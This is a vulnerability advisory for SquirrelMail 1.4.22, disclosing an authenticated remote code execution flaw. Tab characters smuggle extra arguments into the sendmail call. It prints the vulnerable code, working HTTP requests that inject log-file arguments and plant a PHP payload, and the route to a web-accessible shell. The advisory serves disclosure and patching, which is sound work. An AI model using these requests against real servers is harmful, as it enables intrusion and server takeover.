SSD Advisory – SquirrelMail Remote Code Execution

Vulnerability Summary
The following advisory describes Remote Code Execution found in SquirrelMail version 1.4.22.
SquirrelMail is a standards-based webmail package written in PHP. It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 (with no JavaScript required) for maximum compatibility across browsers. It has very few requirements and is very easy to configure and install. SquirrelMail has all the functionality you would want from an email client, including strong MIME support, address books, and folder manipulation.
Credit
An independent security researcher, Dawid Golunski (https://legalhackers.com/), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Responses
SquirrelMail has released patches to address this vulnerability, for more details see: https://squirrelmail.org/security/issue/2017-04-24

Vulnerability Details
SquirrelMail is affected by a Remote Code Execution vulnerability which stems from insufficient escaping of user-supplied data when SquirrelMail has been configured with Sendmail as the main transport. An authenticated attacker may be able to exploit the vulnerability to execute arbitrary commands on the target and compromise the remote system.
When SquirrelMail has been configured with Sendmail as delivery transport,
SquirrelMail uses the following function to send out user emails:

-----[ ./class/deliver/Deliver_SendMail.class.php ]-----
    function initStream($message, $sendmail_path, $ignore=0, $ignore='', $ignore='', $ignore='', $ignore='', $ignore=false, $ignore='') {
        $rfc822_header = $message->rfc822_header;
        $from = $rfc822_header->from[0];
        $envelopefrom = trim($from->mailbox.'@'.$from->host);
        $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
        // save executed command for future reference
        $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
        // open process handle for writing
        $stream = popen(escapeshellcmd($this->sendmail_command), "w");
        return $stream;
    }
---------------------------------------------------------

It passes a sender’s email address to the sendmail command interface in the $envelopefrom variable.
SquirrelMail allows logged-in users to change the envelope from’s email address by going to:

Options-> Personal Information-> E-mail Address

The option however filters out spaces to prevent injection of additional parameters to the sendmail program.
It is possible to bypass this filter by using TABS instead of SPACES as shown in this request:

POST /squirrelmail/src/options.php HTTP/1.1
Host: trusty
Cookie: squirrelmail_language=deleted; SQMSESSID=udp0a3dbm2oba2710a6amh0kg0; key=aT2bDg%3D%3D; mailviewsplitterv=226; prefviewsplitter=266; folderviewsplitter=266; identviewsplitter=266; language=en; composesplitterv=248; addressviewsplitterd=226; addressviewsplitter=286; roundcube_sessid=151ubr2mfl36odovf7vkk66v60; minimalmode=0
Content-Length: 310
smtoken=qseiZ0jvPW8f&optpage=personal&optmode=submit&new_full_name=Squirrel+PoC&new_email_address=root%09-X%2Ftmp%2Fsqhack%09-oQ%2Ftmp%09null&new_reply_to=replymyaddress%40localhost&new_signature=&new_timezone=none&new_reply_citation_style=none&new_reply_citation_start=&new_reply_citation_end=&submit_personal=Submit

As we can see in new_email_addres parameter, the spaces have been replaced with %09 which is tab ascii character.
Such request will cause SquirrelMail to invoke popen() process to sendmail interface with the following arguments when a new email is sent out:

/usr/sbin/sendmail -i -t -froot -X/tmp/sqhack -oQ/tmp null@trusty

-X parameter allows to set a log file, and -oQ allows to set a tmp directory.
If the installed MTA is Sendmail on the target system, and an attackers sends a new email, with a malicious content containing a php script in the body of the email to an arbitrary email address, the log of the email containing the payload will be saved in the location desired by the attacker. In the example above, the output file would be /tmp/sqhack.
Example compose message request which a simple php payload:

POST /squirrelmail/src/compose.php HTTP/1.1
Host: trusty
Cookie: squirrelmail_language=deleted; SQMSESSID=udp0a3dbm2oba2710a6amh0kg0; key=aT2bDg%3D%3D; mailviewsplitterv=226; prefviewsplitter=266; folderviewsplitter=266; identviewsplitter=266; language=en; composesplitterv=248; addressviewsplitterd=226; addressviewsplitter=286; roundcube_sessid=151ubr2mfl36odovf7vkk66v60; minimalmode=0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1786870111972091653456139894
Content-Length: 2275
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="smtoken"
qseiZ0jvPW8f
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="startMessage"
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="session"
4
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="passed_id"
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="send_to"
victim@localhost
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="send_to_cc"
-----------------------------1786870111972091653456139894
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="send_to_bcc"
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="subject"
Squirrel PoC
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="mailprio"
3
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="body"
Squirrel Hack
<?php phpinfo(); ?>
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="send"
Send
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2097152
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="attachfile"; filename=""
Content-Type: application/octet-stream
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="username"
hacker
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="smaction"
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="mailbox"
INBOX
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="composesession"
4
-----------------------------1786870111972091653456139894
Content-Disposition: form-data; name="querystring"
mailbox=None&amp;startMessage=0
-----------------------------1786870111972091653456139894--

The request should run the following sendmail command process:

www-data 20800  0.0  1.2  83392  6252 ?        S    11:37   0:00 /usr/sbin/sendmail -i -t -froot -X/tmp/sqhack -oQ/tmp null@trusty

After the command has completed the log with the payload can be found in /tmp/sqhack.
If file permissions have been incorrectly set within squirrelmail web document root or any other web application installed on the target server, the attacker could write the payload to a file like /var/www/sqhack.php and retrieve it by:

http://victim-site/sqhack.php